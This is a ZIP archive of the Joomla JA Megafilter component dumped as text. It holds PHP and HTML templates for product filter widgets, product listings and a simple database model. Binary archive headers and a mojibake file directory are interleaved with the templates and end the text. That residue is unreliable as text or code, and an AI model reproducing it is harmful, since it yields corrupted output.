 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>

<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
	<div class="jamega-row-flex">
		<div class="col">
			<input id="from-{options.field}" type="number"
class="input-text jafrom" placeholder="{options.title}
<?php echo JText::_('COM_JAMEGAFILTER_FROM') ?>"
maxlength="128" />
		</div>
		<div class="col"><b>-</b></div>
		<div class="col">
			<input id="to-{options.field}" type="number"
class="input-text jato" placeholder="{options.title}
<?php echo JText::_('COM_JAMEGAFILTER_TO') ?>"
maxlength="128" />
		</div>
	</div>
</dd>PK�v�[�����'layouts/filter/filter.dropdown-item.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<option value="{options.value}">{options.frontend_value|s}
({mids.length})</option>PK�v�[2��h��$layouts/filter/filter.color-item.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<li class="item color-item">
	<label>
		<input style="display:none;" type="checkbox"
name="{options.name}" value="{options.value}" />
		<span class="color-item-bg"
data-bgcolor="{options.frontend_value|s}"> </span>
		<div class="item-counter" style="text-align:
center;">({mids.length})</div>
	</label>
</li>
PK�v�[֛OOlayouts/filter/filter.color.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">	
	<ul class="items filter-items">
		
	</ul>	
</dd>PK�v�[Sr�OO$layouts/filter/filter.radio-item.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<li class="item">
	<label>
		<input type="radio" name="{options.name}"
value="{options.value}" />	
		<span>{options.frontend_value|s}
<span>({mids.length})</span></span>
	</label>
</li>PK�v�[�pt�TT'layouts/filter/filter.multiple-item.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<li class="item">
	<label>
		<input type="checkbox" name="{options.name}"
value="{options.value}" />	
		<span>{options.frontend_value|s}
<span>({mids.length})</span></span>
	</label>
</li>
PK�v�[]@�U"layouts/filter/filter.dropdown.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content filter-dropdown">	
	<select class="filter-items" {options.multiple}>
		{^options.multiple}
	    <option value=""><?php echo
JText::_('COM_JAMEGAFILTER_SELECTED_A'); ?>
{options.title}</option>
	    {/options.multiple}
	</select>
</dd>PK�v�[�g�vvlayouts/filter/filter.range.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
	<div class="range-item"></div>
	<div class="range-value clearfix">
	    <label class="range-min pull-left"><?php echo
JText::_('COM_JAMEGAFILTER_MIN'); ?> <span
class="range-value0"></span></label>
	    <label class="range-max pull-right"><?php echo
JText::_('COM_JAMEGAFILTER_MAX'); ?> <span
class="range-value1"></span></label>
	</div>
</dd>PK�v�[�.+���#layouts/filter/filter.size-item.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<li class="item color-item">
	<label>
		<input style="display:none;" type="checkbox"
name="{options.name}" value="{options.value}" />
		<span class="color-item-bg"> {options.frontend_value|s}
</span>
		<div class="item-counter" style="text-align:
center;">({mids.length})</div>
	</label>
</li>
PK�v�[�C�layouts/filter/filter.radio.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
	<ul class="items filter-items">
		<li class="item first">
			<label><input type="radio"
name="{options.field}" value=""
checked="checked" /> <span><?php echo
JText::_('COM_JAMEGAFILTER_ALL'); ?>
{options.title}</span></label>
		</li>
	</ul>
</dd>PK�v�[n$Ok��$layouts/filter/filter.media-item.phpnu�[���<?php

/**
 *
------------------------------------------------------------------------
 * JA Megafilter Component
 *
------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights
Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 *
------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<li class="item media-item">
	<label>
		<input style="display:none;" type="checkbox"
name="{options.name}" value="{options.value}" />
		<img class="img-item" src="<?php echo
JUri::root(true) ?>/{options.frontend_value|s}" />
		<div class="item-counter" style="text-align:
center">({mids.length})</div>
	</label>
</li>
PK�v�[p+��layouts/filter/filter-list.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<div class="block filter filter-wrapper">	
	<div class="block-content filter-content">
		<div class="filter-current filter-values"></div>
	    <h3 role="heading" aria-level="2"
class="block-subtitle filter-subtitle"><?php echo
JText::_('COM_JAMEGAFILTER_SHOP_BY'); ?></h3>
		<dl class="filter-options filter-list"
id="narrow-by-list">

		</dl>
	</div> 
</div>PK�v�[��-��#layouts/filter/filter.list-item.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<li><a
href="#{options.value|s}">{options.frontend_value|s}
({mids.length})</a></li>PK�v�[`h��NNlayouts/filter/filter.size.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?><dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">	
	<ul class="items filter-items">
		
	</ul>	
</dd>PK�v�[`h��NN"layouts/filter/filter.multiple.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?><dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">	
	<ul class="items filter-items">
		
	</ul>	
</dd>PK�v�[j5�/��layouts/filter/filter.list.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
	<ol class="items filter-items">
		<li class="item first">
			<label><?php echo JText::_('COM_JAMEGAFILTER_ALL');
?> {options.title}</label>
		</li>
	</ol>	
</dd>PK�v�[���fflayouts/filter/filter.date.phpnu�[���<?php

/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
	<input id="from-{options.field}" type="text"
class="input-text jafrom" placeholder="<?php echo
JText::_('COM_JAMEGAFILTER_FROM') ?>"
maxlength="128" />
	&nbsp; <b>-</b> &nbsp;
	<input id="to-{options.field}" type="text"
class="input-text jato" placeholder="<?php echo
JText::_('COM_JAMEGAFILTER_TO') ?>"
maxlength="128" />
</dd>PK�v�[�u��''%layouts/filter/filter.rating-item.phpnu�[���<?php
    /**
     *
------------------------------------------------------------------------
     * JA Megafilter Component
     *
------------------------------------------------------------------------
     * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights
Reserved.
     * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
     * Author: J.O.O.M Solutions Co., Ltd
     * Websites: http://www.joomlart.com - http://www.joomlancers.com
     * This file may not be redistributed in whole or significant part.
     *
------------------------------------------------------------------------
     */
    //No direct to access this file.
    defined('_JEXEC') or die('Restricted access');

?>

<li class="item rating-item rating-{options.value}">
    <label>
        <input style="" type="radio"
name="{options.name}" value="{options.value}"/>
        <span class="rating-result">
            <span
style="width:{options.width_rating}%"></span>
        </span>

        <span>({mids.length})</span>
    </label>
</li>
.rating-0{display:
none;}PK�v�[a�{8ddlayouts/filter/filter.media.phpnu�[���<?php

/**
 *
------------------------------------------------------------------------
 * JA Megafilter Component
 *
------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights
Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 *
------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">	
	<ul class="items filter-items">
		
	</ul>	
</dd>PK�v�[�W��wwlayouts/product-list.phpnu�[���<?php
/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 
// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$jinput = JFactory::getApplication()->input;
$itc     = $jinput->get('itempercol', 5, 'INT');
?>
<div class="ja-toolbar-wrapper toolbar toolbar-products
toolbar-wrapper toolbar-top">

</div>

<div class="ja-products-wrapper products wrapper grid products-grid
cols-<?php echo $itc; ?>">
	<div class="row products list items product-items clearfix
cols-<?php echo $itc; ?>"></div>
</div>

<div class="ja-toolbar-wrapper toolbar toolbar-products
toolbar-wrapper toolbar-bottom">
</div>PK�v�[?�C:mmlayouts/product-item.phpnu�[���<?php
/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 //No direct to access this file.
defined('_JEXEC') or die('Restricted access');

 ?>
{#data}
<div class="item product product-item col">
    <div data-container="product-grid"
class="product-item-info">

        <div class="product-item-details">
            <a tabindex="-1"
class="product-item-photo" href="{url}">
                <span class="product-image-container">
                    <span class="product-image-wrapper">
                        <img alt="{name|s}" src="<?php
echo JUri::base(true).DS; ?>{thumbnail}"
class="product-image-photo">
                    </span>
                </span>
            </a> 

            <div class="product-reviews-summary short">
                <div class="rating-summary">
                    {?rating}
                    <div title="{rating} out of 5"
class="rating-result">
                        <span
style="width:{width_rating}%"></span>
                    </div>
                    {:else}
                    <div title="0%"
class="rating-result">
                        <span
style="width:0%"></span>
                    </div>
                    {/rating}
                </div>
            </div>

            <h4 class="product-item-name">
                <a href="{url}"
class="product-item-link">
                    {name|s}
                </a>
            </h4>

            <div data-product-id="{id}"
data-role="priceBox" class="price-box
price-final_price">
                <span class="price-container price-final_price tax
weee">
                    <span class="price-wrapper "
data-price-type="finalPrice"
data-price-amount="{price}" id="product-price-{id}">
                        <span
class="price">{frontend_price|s}</span>
                    </span>
                </span>
            </div>
        </div>

        <div class="product-item-actions">
            {?on_sale}

            <div class="addtocart-area">
                <form method="post" class="product
js-recalculate" action="<?php echo JRoute::_
('index.php?option=com_virtuemart',false); ?>">
                    <div class="addtocart-bar">
                        <span class="quantity-box">
                            <input class="quantity-input
js-recalculate" name="quantity[]" data-errstr="<?php
echo JText::_('COM_JAMEGAFILTER_ERROR_CAN_ONLY_BUY'); ?> %s
<?php echo
JText::_('COM_JAMEGAFILTER_ERROR_CAN_ONLY_BUY_PIECES');
?>!" value="1" init="1" step="1"
type="text">
                        </span>
                        <span class="quantity-controls
js-recalculate">
                            <input class="quantity-controls
quantity-plus" type="button">
                            <input class="quantity-controls
quantity-minus" type="button">
                        </span>
                        <span class="addtocart-button">
                            <input name="addtocart"
class="btn btn-default" value="<?php echo
JText::_('COM_JAMEGAFILTER_ADD_TO_CART'); ?>"
title="<?php echo
JText::_('COM_JAMEGAFILTER_ADD_TO_CART'); ?>"
type="submit">
                        </span>
                            <input
name="virtuemart_product_id[]"
value="{virtuemart_product_id}" type="hidden">
                            <input type="hidden"
name="task" value="add"/>
                    </div> 
                    <input type="hidden"
name="option" value="com_virtuemart"/>
                    <input type="hidden" name="view"
value="cart"/>
                    <input type="hidden"
name="virtuemart_product_id[]"
value="{virtuemart_product_id}"/>
                    <input type="hidden"
name="pname" value="{name}"/>
                    <input type="hidden" name="pid"
value="{virtuemart_product_id}"/>
                </form>
            </div>
            {:else}
                {?is_salable}
                    <div class="stock
available"><span><?php echo
JText::_('COM_JAMEGAFILTER_IN_STOCK');
?></span></div>
                {:else}
                    <div class="stock
unavailable"><span><?php echo
JText::_('COM_JAMEGAFILTER_OUT_STOCK');
?></span></div>
                {/is_salable}
            {/on_sale}
        </div>
    </div>
</div>
{/data}PK�v�[�#o,,models/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK�v�[HW㮅�models/default.phpnu�[���<?php
/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */

// No direct access to this file
use Joomla\CMS\MVC\Model\ItemModel;

defined('_JEXEC') or die('Restricted access');

class JaMegaFilterModelDefault extends JModelItem
{
	protected $jafields;

  public function getItem($pk = null){
		$jinput = JFactory::getApplication()->input;
    $id     = $jinput->get('id', 1, 'INT');
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('*');
		$query->from($db->quoteName('#__jamegafilter'));
		$query->where($db->quoteName('id').'='.$id);
		$db->setQuery($query);
		$item = $db->loadAssoc();

		return $item;
	}
}
PK�v�[�#o,,
index.htmlnu�[���PK�v�[���8ddfjamegafilter.phpnu�[���PK�v�[@��oo
controller.phpnu�[���PK�v�[�#o,,�views/index.htmlnu�[���PK�v�[�#o,,#views/default/index.htmlnu�[���PK�v�[k��G�-�-�views/default/view.html.phpnu�[���PK�v�[�#o,,y?views/default/tmpl/index.htmlnu�[���PK�v�[���ԓ��?views/default/tmpl/default.phpnu�[���PK�v�[�J����Bviews/default/tmpl/default.xmlnu�[���PK�v�[�Lо�	�	�Oassets/asset.phpnu�[���PK�v�[
�Ş�?�?Zassets/prepros.cfgnu�[���PK�v�[~��w�w�assets/less/style.lessnu�[���PK�v�[U�/���Hassets/less/variables.lessnu�[���PK�v�[��ā0�0%Xassets/js/jquery.ui.slider-rtl.min.jsnu�[���PK�v�[���C�C.Lassets/js/jquery.ui.slider.jsnu�[���PK�v�[7�2z1z1L�assets/js/dust-helpers.jsnu�[���PK�v�[�_+���assets/js/sticky-kit.min.jsnu�[���PK�v�[����J�JO�assets/js/main.jsnu�[���PK�v�[�6DDsassets/js/jquery.cookie.jsnu�[���PK�v�[G����V�V'assets/js/jquery-ui.min.jsnu�[���PK�v�[l�V~assets/js/script.jsnu�[���PK�v�[��:ZZ^�assets/js/dust-helpers.min.jsnu�[���PK�v�[��������assets/js/megafilter.jsnu�[���PK�v�[fN�R�R�	xassets/js/libs.jsnu�[���PK�v�[�Ï�V�V
�_assets/js/jquery-ui.range.min.jsnu�[���PK�v�[
���-�-!��assets/js/jquery.ui.datepicker.jsnu�[���PK�v�[�}r&��assets/js/jquery.ui.touch-punch.min.jsnu�[���PK�v�[N0�{��U�assets/images/tree-rtl-bg.pngnu�[���PK�v�[2�}^^)��assets/images/ui-icons_444444_256x240.pngnu�[���PK�v�[<?B��M
assets/images/tree-bg.pngnu�[���PK�v�[�\�>!�assets/images/tree-rtl-lv2-bg.pngnu�[���PK�v�[���011!�assets/images/tree-rtl-lv3-bg.pngnu�[���PK�v�[��iqMqM6hassets/images/ui-bg_highlight-soft_75_cccccc_1x100.pngnu�[���PK�v�[1�]55!?eassets/images/tree-rtl-lv4-bg.pngnu�[���PK�v�[\���HH�iassets/images/color-stars.pngnu�[���PK�v�[Ͽ�DDZoassets/images/quantity-bg.pngnu�[���PK�v�[���*$$�sassets/images/plus.pngnu�[���PK�v�[ߞ[�r�rUxassets/css/style.cssnu�[���PK�v�[��!!"9�assets/css/jquery.ui.accordion.cssnu�[���PK�v�[hd1Q1Q��assets/css/jquery.ui.cssnu�[���PK�v�[���tt#%@	assets/css/jquery.ui.slider-rtl.cssnu�[���PK�v�[�A	assets/css/style-rtl.cssnu�[���PK�v�["��lDlD4B	assets/css/jquery-ui.min.cssnu�[���PK�v�[��	layouts/filter-list.phpnu�[���PK�v�[�v*.��D�	layouts/product-toolbar.phpnu�[���PK�v�[�?AV33�	layouts/filter-selected.phpnu�[���PK�v�[giZ]��
��	layouts/filter/filter.rating.phpnu�[���PK�v�[<�1���ǣ	layouts/filter/filter.value.phpnu�[���PK�v�[d�����"ߧ	layouts/filter/filter.txtrange.phpnu�[���PK�v�[�����'+�	layouts/filter/filter.dropdown-item.phpnu�[���PK�v�[2��h��$l�	layouts/filter/filter.color-item.phpnu�[���PK�v�[֛OO��	layouts/filter/filter.color.phpnu�[���PK�v�[Sr�OO$*�	layouts/filter/filter.radio-item.phpnu�[���PK�v�[�pt�TT'ͻ	layouts/filter/filter.multiple-item.phpnu�[���PK�v�[]@�U"x�	layouts/filter/filter.dropdown.phpnu�[���PK�v�[�g�vv��	layouts/filter/filter.range.phpnu�[���PK�v�[�.+���#��	layouts/filter/filter.size-item.phpnu�[���PK�v�[�C���	layouts/filter/filter.radio.phpnu�[���PK�v�[n$Ok��$�	layouts/filter/filter.media-item.phpnu�[���PK�v�[p+��E�	layouts/filter/filter-list.phpnu�[���PK�v�[��-��#��	layouts/filter/filter.list-item.phpnu�[���PK�v�[`h��NN��	layouts/filter/filter.size.phpnu�[���PK�v�[`h��NN"k�	layouts/filter/filter.multiple.phpnu�[���PK�v�[j5�/���	layouts/filter/filter.list.phpnu�[���PK�v�[���ff�	layouts/filter/filter.date.phpnu�[���PK�v�[�u��''%��	layouts/filter/filter.rating-item.phpnu�[���PK�v�[a�{8ddH�	layouts/filter/filter.media.phpnu�[���PK�v�[�W��ww��	layouts/product-list.phpnu�[���PK�v�[?�C:mm��	layouts/product-item.phpnu�[���PK�v�[�#o,,o
models/index.htmlnu�[���PK�v�[HW㮅��
models/default.phpnu�[���PKGG��